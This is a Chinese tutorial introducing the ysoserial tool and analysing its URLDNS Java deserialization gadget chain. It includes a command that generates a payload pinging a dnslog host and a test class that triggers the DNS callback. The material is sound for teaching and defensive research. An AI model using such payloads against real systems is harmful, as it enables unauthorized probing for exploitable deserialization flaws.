1.ysoserial初探
1.1 ysoserial简介
提到java反序列化首先被提到的就是这个大名鼎鼎的项目——ysoserial。该项目是一个用于生成java反序列化payload的项目。是作者在2015年在Marshalling Pickles: how deserializing objects will ruin your day大会中提出的一个工具。该工具中包含了许多java反序列化的利用链。使用该工具可以快速生成利用java反序列化漏洞的payload。
1.2 编译安装
1.下载项目
git clone https://github.com/frohoff/ysoserial.git
2.下载依赖编译成jar
mvn clean package -DskipTests
编译完成后target目录下即可找到ysoserial-*-SNAPSHOT-all.jar
文件。
1.3 使用测试
1.生成一个URLDNS序列化数据
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS "http://m9utau.dnslog.cn/" > URLDNSSeri.bin
2.使用如下代码测试反序列化结果
import java.io.*; public class TestURLDNS{ public static void main(String[] args) throws IOException, ClassNotFoundException { FileInputStream fi = new FileInputStream("URLDNSSeri.bin"); ByteArrayOutputStream bao = new ByteArrayOutputStream(); int data=0; while ((data=fi.read())!=-1){ bao.write(data); } byte[] dataBytes = bao.toByteArray(); ByteArrayInputStream bais = new ByteArrayInputStream(dataBytes); ObjectInputStream ois = new ObjectInputStream(bais); ois.readObject();//执行到这里的时候就会触发一个DNS请求 } }
3.可以发现当代码读取ysoserial生成的序列化数据并进行反序列化时,确实触发了一次DNS请求。
2.URLDNS利用链分析
URLDNS
是ysoserial
里最简单的利用链,可以看到当生成的序列化数据被反序列化时,就会触发一个dns请求。从而我们可以简单判断出某个输入点可能存在反序列化漏洞。那么我们就从payload的生成过程开始分析。
2.1 ysoserial程序结构
从pom.xml
文件中我们可以发现ysoserial的mainClass为GeneratePayload
。
<mainClass>ysoserial.GeneratePayload</mainClass>
GeneratePayload.java
的逻辑比较清晰,如下:
public static void main(final String[] args) { ...省略... final String payloadType = args[0];//获取类的名字 final String command = args[1];//获取反序列化后要执行的命令 final Class<? extends ObjectPayload> payloadClass = Utils.getPayloadClass(payloadType);//获取指定的类的Class ...省略... try { final ObjectPayload payload = payloadClass.newInstance();//实例化指定类 final Object object = payload.getObject(command);//调用类的getObject方法 PrintStream out = System.out; Serializer.serialize(object, out);//将反序列化结果写入System.out ...省略... } catch (Throwable e) { ...省略... }
2.2 URLDNS利用链代码解读
URLDNS.java
代码如下:
public class URLDNS implements ObjectPayload<Object> { public Object getObject(final String url) throws Exception { URLStreamHandler handler = new SilentURLStreamHandler(); //这里作者单独声明了一个SilentURLStreamHandler主要是为了复写掉getHostAddress方法,否则在 ht.put(u, url); 的时候其实也存在hash计算过程会出发dns请求。 HashMap ht = new HashMap(); //新建一个hashmap URL u = new URL(null, url, handler); //新建一个URL类作为键 ht.put(u, url);//向HashMap中添加一个URL类型的键 Reflections.setFieldValue(u, "hashCode", -1); // 其实在put的时候就已经计算了一次hash并保存了缓存,因此这里需要先把这个hashcode替换成-1否则反序列化时将不会再计算hashCode。 return ht; } ...省略... static class SilentURLStreamHandler extends URLStreamHandler { protected URLConnection openConnection(URL u) throws IOException { return null; } protected synchronized InetAddress getHostAddress(URL u) { return null;//就是这里复写了getHostAddress方法,防止put时发出DNS请求 } } }
2.2.1 SilentURLStreamHandler的作用
上述代码中ht.put(u, url);
时,调用了hashMap的put方法,如下:
public V put(K key, V value) { return putVal(hash(key), key, value, false, true); }
其中又调用了hash()方法,代码如下:
static final int hash(Object key) { int h; return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16); }
hash方法中调用了key本身的hashCode方法,这里我们传入的key是一个URL类,因此需要查看一下URL类的hashCode()方法,其代码如下:
public synchronized int hashCode() { if (hashCode != -1) return hashCode; hashCode = handler.hashCode(this); return hashCode; }
当hashCode当前URL对象的hashCode!=-1的时候调用该URL对象中,handler对象(URLStreamHandler类)的hashCode方法,代码如下:
protected int hashCode(URL u) { ...省略... // Generate the host part. InetAddress addr = getHostAddress(u); ...省略...
而事实上,关键代码就上面这一行,他会调用getHostAddress方法,发送dns请求获取host对应的ip。因此作者声明了一个SilentURLStreamHandler
类,并复写了它的getHostAddress
方法,从而防止HashMap调用put时发出dns请求。如果不复写getHostAddress则触发DNS请求调用链如下:
HashMap.putVal()
——》HashMap.hash()
——》URL.hashCode()
——》URLStreamHandler.hashCode()
——》URLStreamHandler.getHostAddress()
。
2.2.2 反序列化触发流程
上述生成的HashMap类中,复写了readObject方法,反序列化时会调用该readObject方法,代码如下:
private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException { s.defaultReadObject();//执行默认ReadObject方法 ...省略... int mappings = s.readInt(); // 获取映射数量 if (mappings < 0) throw new InvalidObjectException("Illegal mappings count: " + mappings); else if (mappings > 0) { // (if zero, use defaults) ...省略... //读取keys和values,并将其put到HashMap中。 for (int i = 0; i < mappings; i++) { @SuppressWarnings("unchecked") K key = (K) s.readObject(); @SuppressWarnings("unchecked") V value = (V) s.readObject(); putVal(hash(key), key, value, false, false);//可以看到,这里又是一个熟悉的putVal方法!!后续内容跟前面调用栈就是相同的了 } } }
循环中putVal(hash(key), key, value, false, false);
代码计算每一个key的hash,前面2.2.1节中分析过URL类计算hash时最终会调用到URLStreamHandler.getHostAddress()
从而发起dns请求,本条利用链至此分析结束。